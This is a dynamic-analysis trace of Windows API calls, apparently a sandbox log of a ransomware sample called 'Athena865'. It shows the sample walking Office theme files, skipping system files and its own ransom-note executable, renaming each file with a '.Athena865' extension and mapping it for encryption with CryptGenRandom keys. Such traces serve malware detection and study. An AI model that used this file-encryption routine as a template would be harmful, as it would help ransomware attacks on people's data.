[0065.879] lstrlenW (lpString="dacpac") returned 6 [0065.879] lstrcmpiW (lpString1="t.thmx", lpString2="dacpac") returned 1 [0065.879] lstrlenW (lpString="dad") returned 3 [0065.879] lstrcmpiW (lpString1="hmx", lpString2="dad") returned 1 [0065.879] lstrlenW (lpString="dadiagrams") returned 10 [0065.879] lstrcmpiW (lpString1="print.thmx", lpString2="dadiagrams") returned 1 [0065.879] lstrlenW (lpString="daschema") returned 8 [0065.879] lstrcmpiW (lpString1="int.thmx", lpString2="daschema") returned 1 [0065.879] lstrlenW (lpString="db-journal") returned 10 [0065.879] lstrcmpiW (lpString1="print.thmx", lpString2="db-journal") returned 1 [0065.879] lstrlenW (lpString="db-shm") returned 6 [0065.879] lstrcmpiW (lpString1="t.thmx", lpString2="db-shm") returned 1 [0065.879] lstrlenW (lpString="db-wal") returned 6 [0065.879] lstrcmpiW (lpString1="t.thmx", lpString2="db-wal") returned 1 [0065.879] lstrlenW (lpString="dbc") returned 3 [0065.879] lstrcmpiW (lpString1="hmx", lpString2="dbc") returned 1 [0065.879] lstrlenW (lpString="dbs") returned 3 [0065.879] lstrcmpiW (lpString1="hmx", lpString2="dbs") returned 1 [0065.879] lstrlenW (lpString="dbt") returned 3 [0065.879] lstrcmpiW (lpString1="hmx", lpString2="dbt") returned 1 [0065.880] lstrlenW (lpString="dbv") returned 3 [0065.880] lstrcmpiW (lpString1="hmx", lpString2="dbv") returned 1 [0065.880] lstrlenW (lpString="dbx") returned 3 [0065.880] lstrcmpiW (lpString1="hmx", lpString2="dbx") returned 1 [0065.880] lstrlenW (lpString="dcb") returned 3 [0065.880] lstrcmpiW (lpString1="hmx", lpString2="dcb") returned 1 [0065.880] lstrcmpiW (lpString1="hmx", lpString2="dct") returned 1 [0065.880] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx.Athena865") returned 77 [0065.880] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\newsprint.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\newsprint.thmx.athena865"), dwFlags=0x1) returned 1 [0065.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\newsprint.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.882] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=617159) returned 1 [0065.882] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0065.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.883] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.883] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.883] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.883] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x96dd0, lpName=0x0) returned 0x17c [0065.886] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x96dd0) returned 0x2d50000 [0065.919] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.919] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.919] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0065.927] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f06cd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1f06cd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x132b9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Opulent.thmx", cAlternateFileName="OPULEN~1.THM")) returned 1 [0065.927] lstrcmpiW (lpString1="Opulent.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0065.927] lstrcmpiW (lpString1="Opulent.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0065.927] lstrcmpiW (lpString1="Opulent.thmx", lpString2=".") returned 1 [0065.927] lstrcmpiW (lpString1="Opulent.thmx", lpString2="..") returned 1 [0065.927] lstrcmpiW (lpString1="Opulent.thmx", lpString2="windows") returned -1 [0065.927] lstrcmpiW (lpString1="Opulent.thmx", lpString2="bootmgr") returned 1 [0065.927] lstrcmpiW (lpString1="Opulent.thmx", lpString2="temp") returned -1 [0065.928] lstrcmpiW (lpString1="Opulent.thmx", lpString2="pagefile.sys") returned -1 [0065.928] lstrcmpiW (lpString1="Opulent.thmx", lpString2="boot") returned 1 [0065.928] lstrcmpiW (lpString1="Opulent.thmx", lpString2="ids.txt") returned 1 [0065.928] lstrcmpiW (lpString1="Opulent.thmx", lpString2="ntuser.dat") returned 1 [0065.928] lstrcmpiW (lpString1="Opulent.thmx", lpString2="perflogs") returned -1 [0065.928] lstrcmpiW (lpString1="Opulent.thmx", lpString2="MSBuild") returned 1 [0065.928] lstrlenW (lpString="Opulent.thmx") returned 12 [0065.928] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Opulent.thmx" | out: lpString1="Opulent.thmx") returned="Opulent.thmx" [0065.928] lstrlenW (lpString="Opulent.thmx") returned 12 [0065.928] lstrlenW (lpString="Athena865") returned 9 [0065.928] lstrcmpiW (lpString1="lent.thmx", lpString2="Athena865") returned 1 [0065.928] lstrlenW (lpString=".dll") returned 4 [0065.928] lstrcmpiW (lpString1="Opulent.thmx", lpString2=".dll") returned 1 [0065.928] lstrlenW (lpString=".lnk") returned 4 [0065.928] lstrcmpiW (lpString1="Opulent.thmx", lpString2=".lnk") returned 1 [0065.928] lstrlenW (lpString=".ini") returned 4 [0065.928] lstrcmpiW (lpString1="Opulent.thmx", lpString2=".ini") returned 1 [0065.928] lstrlenW (lpString=".sys") returned 4 [0065.928] lstrcmpiW (lpString1="Opulent.thmx", lpString2=".sys") returned 1 [0065.928] lstrlenW (lpString="Opulent.thmx") returned 12 [0065.928] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx.Athena865") returned 75 [0065.928] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx.athena865"), dwFlags=0x1) returned 1 [0065.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.929] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=78521) returned 1 [0065.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.930] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0065.930] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.930] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.930] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.930] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.931] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x135c0, lpName=0x0) returned 0x17c [0065.932] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x135c0) returned 0x100000 [0065.935] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.936] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.936] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.936] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0065.937] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x229a5400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x229a5400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x16ef4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oriel.thmx", cAlternateFileName="ORIEL~1.THM")) returned 1 [0065.937] lstrcmpiW (lpString1="Oriel.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0065.937] lstrcmpiW (lpString1="Oriel.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0065.937] lstrcmpiW (lpString1="Oriel.thmx", lpString2=".") returned 1 [0065.937] lstrcmpiW (lpString1="Oriel.thmx", lpString2="..") returned 1 [0065.937] lstrcmpiW (lpString1="Oriel.thmx", lpString2="windows") returned -1 [0065.937] lstrcmpiW (lpString1="Oriel.thmx", lpString2="bootmgr") returned 1 [0065.938] lstrcmpiW (lpString1="Oriel.thmx", lpString2="temp") returned -1 [0065.938] lstrcmpiW (lpString1="Oriel.thmx", lpString2="pagefile.sys") returned -1 [0065.938] lstrcmpiW (lpString1="Oriel.thmx", lpString2="boot") returned 1 [0065.938] lstrcmpiW (lpString1="Oriel.thmx", lpString2="ids.txt") returned 1 [0065.938] lstrcmpiW (lpString1="Oriel.thmx", lpString2="ntuser.dat") returned 1 [0065.938] lstrcmpiW (lpString1="Oriel.thmx", lpString2="perflogs") returned -1 [0065.938] lstrcmpiW (lpString1="Oriel.thmx", lpString2="MSBuild") returned 1 [0065.938] lstrlenW (lpString="Oriel.thmx") returned 10 [0065.938] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Oriel.thmx" | out: lpString1="Oriel.thmx") returned="Oriel.thmx" [0065.938] lstrlenW (lpString="Oriel.thmx") returned 10 [0065.938] lstrlenW (lpString="Athena865") returned 9 [0065.938] lstrcmpiW (lpString1="riel.thmx", lpString2="Athena865") returned 1 [0065.938] lstrlenW (lpString=".dll") returned 4 [0065.938] lstrcmpiW (lpString1="Oriel.thmx", lpString2=".dll") returned 1 [0065.938] lstrlenW (lpString=".lnk") returned 4 [0065.938] lstrcmpiW (lpString1="Oriel.thmx", lpString2=".lnk") returned 1 [0065.938] lstrlenW (lpString=".ini") returned 4 [0065.938] lstrcmpiW (lpString1="Oriel.thmx", lpString2=".ini") returned 1 [0065.938] lstrlenW (lpString=".sys") returned 4 [0065.938] lstrcmpiW (lpString1="Oriel.thmx", lpString2=".sys") returned 1 [0065.938] lstrlenW (lpString="Oriel.thmx") returned 10 [0065.938] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx.Athena865") returned 73 [0065.938] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx.athena865"), dwFlags=0x1) returned 1 [0065.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.940] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=93940) returned 1 [0065.940] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.940] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0065.940] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.940] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.941] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.941] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.941] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17200, lpName=0x0) returned 0x17c [0065.946] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17200) returned 0x100000 [0065.952] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.952] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.952] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.953] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0065.954] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262ddb00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x262ddb00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1540b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Origin.thmx", cAlternateFileName="ORIGIN~1.THM")) returned 1 [0065.954] lstrcmpiW (lpString1="Origin.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0065.954] lstrcmpiW (lpString1="Origin.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0065.954] lstrcmpiW (lpString1="Origin.thmx", lpString2=".") returned 1 [0065.954] lstrcmpiW (lpString1="Origin.thmx", lpString2="..") returned 1 [0065.954] lstrcmpiW (lpString1="Origin.thmx", lpString2="windows") returned -1 [0065.954] lstrcmpiW (lpString1="Origin.thmx", lpString2="bootmgr") returned 1 [0065.954] lstrcmpiW (lpString1="Origin.thmx", lpString2="temp") returned -1 [0065.954] lstrcmpiW (lpString1="Origin.thmx", lpString2="pagefile.sys") returned -1 [0065.954] lstrcmpiW (lpString1="Origin.thmx", lpString2="boot") returned 1 [0065.954] lstrcmpiW (lpString1="Origin.thmx", lpString2="ids.txt") returned 1 [0065.954] lstrcmpiW (lpString1="Origin.thmx", lpString2="ntuser.dat") returned 1 [0065.954] lstrcmpiW (lpString1="Origin.thmx", lpString2="perflogs") returned -1 [0065.955] lstrcmpiW (lpString1="Origin.thmx", lpString2="MSBuild") returned 1 [0065.955] lstrlenW (lpString="Origin.thmx") returned 11 [0065.955] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Origin.thmx" | out: lpString1="Origin.thmx") returned="Origin.thmx" [0065.955] lstrlenW (lpString="Origin.thmx") returned 11 [0065.955] lstrlenW (lpString="Athena865") returned 9 [0065.955] lstrcmpiW (lpString1="igin.thmx", lpString2="Athena865") returned 1 [0065.955] lstrlenW (lpString=".dll") returned 4 [0065.955] lstrcmpiW (lpString1="Origin.thmx", lpString2=".dll") returned 1 [0065.955] lstrlenW (lpString=".lnk") returned 4 [0065.955] lstrcmpiW (lpString1="Origin.thmx", lpString2=".lnk") returned 1 [0065.955] lstrlenW (lpString=".ini") returned 4 [0065.955] lstrcmpiW (lpString1="Origin.thmx", lpString2=".ini") returned 1 [0065.955] lstrlenW (lpString=".sys") returned 4 [0065.955] lstrcmpiW (lpString1="Origin.thmx", lpString2=".sys") returned 1 [0065.955] lstrlenW (lpString="Origin.thmx") returned 11 [0065.955] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx.Athena865") returned 74 [0065.955] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx.athena865"), dwFlags=0x1) returned 1 [0065.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.956] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=87051) returned 1 [0065.956] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.957] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0065.957] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.957] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.957] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.957] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.957] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15710, lpName=0x0) returned 0x17c [0065.965] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15710) returned 0x100000 [0065.968] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.969] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.969] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0065.970] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29c16200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29c16200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x421e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Paper.thmx", cAlternateFileName="PAPER~1.THM")) returned 1 [0065.970] lstrcmpiW (lpString1="Paper.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0065.971] lstrcmpiW (lpString1="Paper.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0065.971] lstrcmpiW (lpString1="Paper.thmx", lpString2=".") returned 1 [0065.971] lstrcmpiW (lpString1="Paper.thmx", lpString2="..") returned 1 [0065.971] lstrcmpiW (lpString1="Paper.thmx", lpString2="windows") returned -1 [0065.971] lstrcmpiW (lpString1="Paper.thmx", lpString2="bootmgr") returned 1 [0065.971] lstrcmpiW (lpString1="Paper.thmx", lpString2="temp") returned -1 [0065.971] lstrcmpiW (lpString1="Paper.thmx", lpString2="pagefile.sys") returned 1 [0065.971] lstrcmpiW (lpString1="Paper.thmx", lpString2="boot") returned 1 [0065.971] lstrcmpiW (lpString1="Paper.thmx", lpString2="ids.txt") returned 1 [0065.971] lstrcmpiW (lpString1="Paper.thmx", lpString2="ntuser.dat") returned 1 [0065.971] lstrcmpiW (lpString1="Paper.thmx", lpString2="perflogs") returned -1 [0065.971] lstrcmpiW (lpString1="Paper.thmx", lpString2="MSBuild") returned 1 [0065.971] lstrlenW (lpString="Paper.thmx") returned 10 [0065.971] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Paper.thmx" | out: lpString1="Paper.thmx") returned="Paper.thmx" [0065.971] lstrlenW (lpString="Paper.thmx") returned 10 [0065.971] lstrlenW (lpString="Athena865") returned 9 [0065.971] lstrcmpiW (lpString1="aper.thmx", lpString2="Athena865") returned -1 [0065.971] lstrlenW (lpString=".dll") returned 4 [0065.971] lstrcmpiW (lpString1="Paper.thmx", lpString2=".dll") returned 1 [0065.971] lstrlenW (lpString=".lnk") returned 4 [0065.971] lstrcmpiW (lpString1="Paper.thmx", lpString2=".lnk") returned 1 [0065.971] lstrlenW (lpString=".ini") returned 4 [0065.971] lstrcmpiW (lpString1="Paper.thmx", lpString2=".ini") returned 1 [0065.971] lstrlenW (lpString=".sys") returned 4 [0065.971] lstrcmpiW (lpString1="Paper.thmx", lpString2=".sys") returned 1 [0065.971] lstrlenW (lpString="Paper.thmx") returned 10 [0065.971] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx.Athena865") returned 73 [0065.971] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\paper.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\paper.thmx.athena865"), dwFlags=0x1) returned 1 [0065.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\paper.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.973] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=270822) returned 1 [0065.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0065.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.973] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.974] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.974] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.974] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x424f0, lpName=0x0) returned 0x17c [0065.977] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x424f0) returned 0x2d50000 [0065.988] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.989] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.989] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.989] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0065.993] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51182f00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51182f00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd15a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Perspective.thmx", cAlternateFileName="PERSPE~1.THM")) returned 1 [0065.993] lstrcmpiW (lpString1="Perspective.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0065.993] lstrcmpiW (lpString1="Perspective.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0065.993] lstrcmpiW (lpString1="Perspective.thmx", lpString2=".") returned 1 [0065.993] lstrcmpiW (lpString1="Perspective.thmx", lpString2="..") returned 1 [0065.993] lstrcmpiW (lpString1="Perspective.thmx", lpString2="windows") returned -1 [0065.993] lstrcmpiW (lpString1="Perspective.thmx", lpString2="bootmgr") returned 1 [0065.993] lstrcmpiW (lpString1="Perspective.thmx", lpString2="temp") returned -1 [0065.993] lstrcmpiW (lpString1="Perspective.thmx", lpString2="pagefile.sys") returned 1 [0065.993] lstrcmpiW (lpString1="Perspective.thmx", lpString2="boot") returned 1 [0065.993] lstrcmpiW (lpString1="Perspective.thmx", lpString2="ids.txt") returned 1 [0065.993] lstrcmpiW (lpString1="Perspective.thmx", lpString2="ntuser.dat") returned 1 [0065.993] lstrcmpiW (lpString1="Perspective.thmx", lpString2="perflogs") returned 1 [0065.993] lstrcmpiW (lpString1="Perspective.thmx", lpString2="MSBuild") returned 1 [0065.993] lstrlenW (lpString="Perspective.thmx") returned 16 [0065.993] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Perspective.thmx" | out: lpString1="Perspective.thmx") returned="Perspective.thmx" [0065.993] lstrlenW (lpString="Perspective.thmx") returned 16 [0065.993] lstrlenW (lpString="Athena865") returned 9 [0065.993] lstrcmpiW (lpString1="tive.thmx", lpString2="Athena865") returned 1 [0065.993] lstrlenW (lpString=".dll") returned 4 [0065.993] lstrcmpiW (lpString1="Perspective.thmx", lpString2=".dll") returned 1 [0065.993] lstrlenW (lpString=".lnk") returned 4 [0065.993] lstrcmpiW (lpString1="Perspective.thmx", lpString2=".lnk") returned 1 [0065.993] lstrlenW (lpString=".ini") returned 4 [0065.993] lstrcmpiW (lpString1="Perspective.thmx", lpString2=".ini") returned 1 [0065.993] lstrlenW (lpString=".sys") returned 4 [0065.993] lstrcmpiW (lpString1="Perspective.thmx", lpString2=".sys") returned 1 [0065.993] lstrlenW 